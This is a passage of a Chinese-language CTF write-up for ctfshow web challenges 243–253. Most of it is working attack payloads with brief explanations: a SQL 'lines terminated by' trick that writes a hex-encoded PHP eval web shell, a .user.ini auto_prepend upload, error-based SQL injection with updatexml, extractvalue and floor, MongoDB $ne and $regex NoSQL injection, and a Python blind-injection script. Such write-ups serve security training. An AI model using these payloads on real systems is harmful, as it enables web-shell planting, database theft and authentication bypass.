    :設定每行資料開頭的字元,可以為單個或多個字元。預設情況下不使用任何字元。

    LINES TERMINATED BY '字元串'

    :設定每行資料結尾的字元,可以為單個或多個字元。預設值是“\n”。

FIELDS

LINES

兩個子句都是自選的,但是如果兩個子句都被指定了,FIELDS必須位于LINES的前面。

是以,利用分隔符進行寫shell

payload:

URL/api/dump.php

filename=yq1ng.php' lines terminated by 0x273C3F70687020406576616C28245F504F53545B277971316E67275D293B3F3E27'

-->

'<?php @eval($_POST['yq1ng']);?>'

web243

太菜了,一直沒傳對,問了問群主,這題上傳

.user.ini

解析圖檔就行,上傳URL:

URL/api/dump.php

,進制内容自行轉換檢視

.user.ini

的payload:

filename=.user.ini' lines starting by ';' terminated by 0x0A6175746F5F70726570656E645F66696C653D7971316E672E6A70670A6175746F5F617070656E645F66696C653D7971316E672E6A70670A;--+

yq1ng.jpg

的payload:

filename=yq1ng.jpg' lines terminated by 0x273C3F70687020406576616C28245F504F53545B277971316E67275D293B3F3E27;--+

最後在

URL/dump/index.php

下蟻劍連結即可

web244

報錯注入,無過濾

sql:

$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

payload:

URL/api/?id=1' and (updatexml(1,concat(0x7e,(select right(flag,30) from ctfshow_flag),0x7e),1));%23

注意:報錯最大長度為32位,需要配合截取函數使用

原理:

updatexml (XML_document, XPath_string, new_value);

--> 改變文檔中符合條件的節點的值

參數介紹:

  • 第一個參數:

    XML_document

    是String格式,為XML文檔對象的名稱,文中為Doc
  • 第二個參數:

    XPath_string

    (Xpath格式的字元串) ,如果不了解Xpath文法,可以在網上查找教程。
  • 第三個參數:

    new_value

    ,String格式,替換查找到的符合條件的資料

報錯原理:

第二個參數

XPath_string

,如果傳入的的不是XPath格式就會報錯

為什麼要使用concat 這個函數呢,因為它是個連接配接函數你不用的話(updatexml(1,(select user()),1)) 這樣也可以但是需要字元中有特殊字元,才會報錯,同時它會被中間的特殊字元截斷,是以需要用到concat用特殊字元給他連接配接起來

web245

sql:

$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

過濾

updatexml

,報錯姿勢很多的

payload:

URL/api/?id=1' and (extractvalue(1,concat(0x7e,(select right(flag1,30) from ctfshow_flagsa),0x7e)))%23

原理:

extractValue(xml_frag, xpath_expr)

--> 使用XPath表示法從XML字元串中提取值

參數介紹:

  • 第一個參數可以傳入目标xml文檔
  • 第二個參數是用Xpath路徑法表示的查找路徑

原理同上

web246

sql:

$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

過濾:

updatexml

extractvalue

floor報錯,原理在另外一篇部落格,點此進入,注意,子查詢傳回隻能為1行

爆表:

URL/api/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;%23

flag列:

api/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name="ctfshow_flags" limit 1,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;%23

因為ctfshow_flags表隻有一行,就不limit了:

URL/api/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select flag2 from ctfshow_flags),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;%23

web247

猜着就會過濾floor哈哈哈

sql:

$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

過濾:

updatexml

extractvalue

floor

。。。12種報錯全試了,一會再來

隻得試出資料庫版本

URL/api/?id=1' and exists(select * from (select * from(select name_const(version(),0))a join (select name_const(version(),0))b)c);%23

盲!盲注yyds,前面的腳本随便改個,可以說是無過濾(腳本沒跑成,用了sqlmap,腳本未成的原因是列名字典我沒加

?

。。。),當然,sqlmap也行,記得加上請求頭

--user-agent="Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36"

web248

udf注入,這個真是第一次聽說,Google一番也是不會,隻知道是利用MySQL提權的,用的翅膀大佬的腳本,隻能說tttttqqqqql,翅膀師傅的腳本注釋也寫得很明白,永存了,膜

web249

sql:emm忘了寫,下次一定

無waf

MongoDB 教程

NoSQL注入小筆記

常見的條件操作符:
$gt : >
$lt : <
$gte: >=
$lte: <=
$ne : !=、<>
$in : in
$nin: not in
$all: all 
$or:or
$not: 反比對(1.3.3及以上版本)
模糊查詢用正則式:db.customer.find({'name': {'$regex':'.*s.*'} })
/**
* : 範圍查詢 { "age" : { "$gte" : 2 , "$lte" : 21}}
* : $ne { "age" : { "$ne" : 23}}
* : $lt { "age" : { "$lt" : 23}}
*/
           

payload:

?id[]=flag

這個應該算是php對階mongoDB的一個漏洞吧

web250

//sql
$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();
           
//傳回邏輯
//無過濾
if(count($cursor)>0){
$ret['msg']='登陸成功';
array_push($ret['data'], $flag);
}
           

payload:

username[$ne]=1&password[$ne]=1

,沒啥說的,和上題一樣,姿勢多,也能正則

web251

sql與過濾沒差別

payload:

username[$ne]=yq1ng&password[$ne]=yq1ng

,出了admin,隻需改使用者名:

username[$ne]=admin&password[$ne]=yq1ng

web252

sql:

db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()

username[$ne]=yq1ng&password[$ne]=yq1ng

就是找出資料庫不是

yq1ng

的資料,出了個

admin

,再用251就不行了,需要接着把pass也改了

username[$ne]=admin&password[$ne]=ctfshow666nnneeaaabbbcc

,getflag

web253

sql:

db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()

傳回一樣,無過濾

腳本去跑,手工不會。。。盲注yyds,經過前面猜測使用者名為

flag

,不知道也能猜,附上腳本,雖然不是二分,但是也挺快,利用了正則比對,

^yq1ng

比對以

yq1ng

開頭的字元串,不懂的建議移步于此,了解re基本文法

# encoding:     utf-8
# @Author:      yq1ng
# @Date:        2020-11-29 15:20
# @challenges: web253

import requests

url = "http://c7bb9fe9-ef52-4eea-a08c-72937d2c25cb.chall.ctf.show/api/"
data = {"username[$regex]":"flag","password[$regex]":""}
s = requests.session()

def get_flag():
    flag = ""
    for x in range(1,43):
        for y in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}':
            data["password[$regex]"] = "^"+flag+y
            print(data)
            s = requests.post(url, data = data)
            if "6210" in s.text:
                flag += y
                print(flag)
                break

if __name__ == '__main__':
    get_flag()
           

繼續閱讀